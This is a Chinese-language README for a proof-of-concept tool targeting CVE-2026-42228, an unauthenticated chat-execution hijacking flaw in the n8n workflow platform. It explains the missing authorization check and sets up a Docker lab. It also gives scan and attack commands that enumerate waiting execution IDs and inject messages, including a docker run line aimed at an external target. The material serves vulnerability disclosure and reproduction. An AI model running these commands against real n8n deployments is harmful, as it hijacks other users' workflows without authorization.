rudSarkar/CVE-2026-42228

GitHub: rudSarkar/CVE-2026-42228

n8n 工作流平台未认证聊天执行劫持漏洞(CVE-2026-42228)的概念验证工具,提供完整 Docker 实验环境和自动化利用脚本。

Stars: 0 | Forks: 0

# GHSA-f77h-j2v7-g6mw — n8n 未认证聊天执行劫持 **CVE:** CVE-2026-42228 **严重性:** 高 **受影响版本:** n8n < 1.123.32 **修复版本:** n8n 1.123.32 / 2.17.4 / 2.18.1 ## 漏洞概述 `chat-service.ts :: startSession()` 接受来自 WebSocket 查询字符串的 `executionId`,并且仅检查该执行是否存在于数据库中。它从未 验证调用者是否有权访问该执行。 知道(或能够枚举)处于 **waiting** 状态的有效数字 执行 ID 的未认证攻击者可以: 1. 无需凭据即可连接到 `/chat` WebSocket。 2. 接收正在向合法用户显示的待处理 prompt。 3. 注入任意聊天输入,从而恢复并劫持工作流。 **前置条件:** - 具有公开的 Hosted Chat 且 Authentication = None 的工作流处于激活状态。 - 至少有一个执行当前处于 `waiting` 状态。 - 攻击者能够猜测或枚举数字执行 ID(顺序整数)。 ## 实验环境搭建 ### 要求 - Docker ≥ 24 且包含 Compose v2 - 本地主机的 **5678** 端口空闲 ### 一键设置 ``` chmod +x exploit.sh ./exploit.sh setup ``` 这会拉取 `n8nio/n8n:1.123.22`(最后受影响的发布版本),构建攻击者 镜像,并在 `http://localhost:5678` 启动易受攻击的目标。 ## 端到端漏洞利用演练 ### 1. 配置易受攻击的目标 1. 打开 `http://localhost:5678` 并完成设置向导(任意凭据)。 2. 创建一个新的工作流。 3. 添加一个 **Chat Trigger** 节点 → 设置 **Authentication = None**。 4. 在触发器之后添加一个 **Wait** 节点(或任何会暂停等待用户输入的节点)。 5. **激活**该工作流。 ### 2. 触发 waiting 执行 打开 Chat Trigger 节点中显示的公开 Chat URL 并发送一条消息。 执行将进入 **waiting** 状态,暂停等待下一个聊天回复。 ### 3. 扫描 waiting 执行(未认证) ``` ./exploit.sh scan # 或指定一个范围: ./exploit.sh scan 1 500 ``` 发现易受攻击的执行时的预期输出: ``` [+] WAITING execution found! exec_id=7 Server said: 'n8n|continue' Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}' [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC' ``` ### 4. 直接攻击已知的执行 ID ``` ./exploit.sh attack 7 # 或使用自定义 payload: ./exploit.sh attack 7 "custom injected message" ``` ### 5. 观察劫持 回到 n8n 编辑器中,工作流将使用**攻击者**注入的消息恢复, 而不是合法用户的输入。 ## 手动 Docker 命令 ``` # 构建 attacker 镜像 docker build -t n8n-chat-hijack-poc . # 扫描 (附加到共享的 lab 网络) docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \ n8n-chat-hijack-poc \ --target http://n8n-vuln:5678 \ --start-id 1 --end-id 200 # 攻击特定的 execution docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \ n8n-chat-hijack-poc \ --target http://n8n-vuln:5678 \ --exec-id 7 --inject "PWNED" # 针对外部目标 (不需要 network 标志) docker run --rm n8n-chat-hijack-poc \ --target https://n8n.example.com \ --exec-id 42 --inject "PWNED" ``` ## 清理 ``` ./exploit.sh clean ``` 停止容器并移除卷(包括 SQLite 数据库)。 ## 文件 | 文件 | 描述 | |---|---| | `poc_GHSA-f77h-j2v7-g6mw.py` | 独立 Python PoC | | `Dockerfile` | 攻击者容器镜像 | | `docker-compose.yml` | 完整实验环境:易受攻击的 n8n + 攻击者 | | `exploit.sh` | 用于常见操作的辅助脚本 | ## 参考文献 - [GHSA-f77h-j2v7-g6mw](https://github.com/advisories/GHSA-f77h-j2v7-g6mw) - [n8n 发布 1.123.32 更新日志](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32)
标签:Chat Execution Hijacking, CISA项目, CSV导出, Cutter, CVE-2026-42228, Docker, GHSA-f77h-j2v7-g6mw, IDOR, ID枚举, n8n, PoC, SSRF, WebSocket漏洞, XSS, 会话劫持, 安全防御评估, 工作流引擎, 暴力破解, 未授权访问, 漏洞复现, 漏洞情报, 版权保护, 等待状态劫持, 网络安全, 请求拦截, 越权访问, 逆向工具, 隐私保护, 高危漏洞